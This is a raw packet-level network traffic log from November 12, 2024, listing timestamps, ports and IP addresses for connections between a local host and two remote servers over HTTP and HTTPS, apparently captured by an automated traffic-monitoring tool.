Nov 12, 2024 17:07:26.340166092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.340192080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.340446949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.340488911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.340533018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.340548992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.340569019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.340588093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.340662003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.340672970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.340701103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.340713024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.365629911 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.366221905 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.366244078 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.366645098 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.366652012 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.376213074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.376226902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.376238108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.376274109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.376296043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.377571106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.377618074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.377746105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.377759933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.377793074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.456727028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.456808090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.456824064 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.456840038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.456849098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.456867933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.456877947 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.456886053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.456911087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.456918955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.457041979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.457077980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.457354069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.457365036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.457376957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.457389116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.457397938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.457444906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.457444906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.457811117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.457855940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.493094921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.493148088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.493160009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.493201971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.493227005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.494421005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.494469881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.494474888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.494504929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.494538069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.494546890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.494574070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.494585037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.495687962 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.498898029 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.498970032 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.498999119 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.499021053 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.499036074 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.499041080 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.501558065 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.501580954 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.501661062 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.501806974 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.501820087 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.574228048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.574294090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.574306011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.574316025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.574341059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.574368000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.574376106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.574385881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.574398041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.574419975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.574430943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.574461937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.574486017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.574671984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.574683905 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.574722052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.574909925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.574955940 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.574974060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.574984074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.575012922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.575031042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.610377073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.610398054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.610409021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.610481977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.610523939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.611460924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.611506939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.611521006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.611532927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.611557961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.611579895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.692755938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.692783117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.692795038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.692835093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.692857027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.693042994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.693054914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.693065882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.693097115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.693109035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.693821907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.693834066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.693844080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.693886995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.693918943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.694474936 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.694484949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.694523096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.727685928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.727699995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.727718115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.727742910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.727770090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.728965998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.728984118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.728995085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.729026079 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.729038000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.729197979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.729243994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.729305029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.729345083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.729382038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.729393959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.813739061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.813754082 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.813766956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.813796043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.813808918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.816643953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.816663980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.816680908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.816694975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.816859007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.816869974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.816880941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.816889048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.816898108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.816931963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.817342043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.817385912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.817791939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.817837954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.845489025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.845514059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.845555067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.845664024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.847235918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.847280025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.847287893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.847299099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.847321033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.847341061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.863667011 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.864382982 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.864403963 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.864855051 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.864861012 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.884682894 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.885041952 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.885056019 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.885446072 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:26.885449886 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:26.893940926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.894007921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.894026995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.894037962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.894063950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.894078970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.931062937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.931116104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.931128025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.931212902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.931222916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.932343960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.932356119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.932368040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.932416916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.932508945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.934211969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.934222937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.934237957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.934273005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.934292078 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.934679031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.934689999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.934700012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.934726954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.934741020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.965393066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.965404034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.965415001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.965523005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.965537071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.965548038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.965558052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:26.965574980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:26.965606928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.001503944 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.001584053 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.001734018 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.001959085 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.001979113 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.001987934 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.001992941 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.004988909 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.005044937 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.005151033 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.005352020 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.005367041 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.009315014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.009329081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.009340048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.009387970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.009411097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.017379045 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.017498970 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.018059969 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.018059969 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.018059969 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.020311117 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.020360947 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.020442963 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.020625114 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.020637989 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.047804117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.047817945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.047830105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.047888041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.047900915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.049199104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.049211025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.049221992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.049248934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.049273014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.051008940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.051058054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.051067114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.051076889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.051110029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.051409960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.051444054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.051451921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.051461935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.051476955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.051501036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.101207018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.101224899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.101236105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.101356030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.101623058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.101638079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.101648092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.101695061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.101706982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.101715088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.101730108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.101747990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.101763010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.126239061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.126271009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.126282930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.126323938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.126353979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.165224075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.165236950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.165247917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.165329933 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.166682005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.166692019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.166708946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.166759014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.166790962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.168490887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.168546915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.168555975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.168570042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.168596983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.168612957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.169003963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.169013977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.169055939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.169558048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.169604063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.170017958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.170066118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.198378086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.198390961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.198401928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.198587894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.199557066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.199616909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.199934959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.199982882 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.218383074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.218396902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.218409061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.218461990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.218473911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.243221045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.243299007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.243305922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.243321896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.243340015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.243354082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.323681116 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:27.323707104 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:27.513710976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.513725996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.513736010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.513799906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.513823032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.514010906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514022112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514031887 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514044046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514054060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.514064074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514075994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514082909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.514091969 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514101982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:27.514107943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:27.514122009 CET	49714	80	192.168.2.6	185.215.113.206
